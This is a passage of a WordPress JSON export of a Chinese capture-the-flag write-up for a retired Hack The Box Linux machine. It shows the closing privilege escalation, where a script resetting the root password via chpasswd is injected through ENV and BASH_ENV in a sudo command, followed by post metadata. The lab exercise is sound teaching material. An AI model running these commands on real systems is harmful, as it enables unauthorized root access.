......\"\necho \"root:Asd310056\" | chpasswd<\/code><\/pre>\n<p>\u8d4b\u4e88\u6267\u884c\u6743\u9650\u540e\uff0c\u6267\u884c\u5982\u4e0b\u547d\u4ee4\uff0c\u4f20\u9012<code>ENV<\/code>\u548c<code>BASH_ENV<\/code>\u4e24\u4e2a\u53d8\u91cf\u5230<code>sudo<\/code>\u76ee\u6807\u7528\u6237<code>Shell<\/code>\u73af\u5883\u4e2d\uff1a<\/p>\n<pre><code class=\"language-shell\">sudo ENV=\/tmp\/changepw.sh BASH_ENV=\/tmp\/changepw.sh \/usr\/bin\/systeminfo<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1746500796707-21fe7bd0-5ce1-44a1-ab1d-f7bb2e71972f.png\" alt=\"\" \/><\/p>\n<p>\u968f\u540e\u4f7f\u7528<code>su -<\/code>\u547d\u4ee4\u5207\u6362\u7528\u6237\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1746500846937-3710430f-e89d-45a4-9fdd-a359889b191a.png\" alt=\"\" \/><\/p>\n<p><strong>\u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n<hr \/>\n","protected":false},"excerpt":{"rendered":"<p>\u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.129.90.106\uff08\u591a\u4e2aIP\u5730\u5740\uff09 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b PING 10.129.108.226 ( &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[3,14],"tags":[],"class_list":["post-268","post","type-post","status-publish","format-standard","hentry","category-htb_retired","category-linux_machines"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/268","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=268"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/268\/revisions"}],"predecessor-version":[{"id":269,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/268\/revisions\/269"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=268"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=268"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=268"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}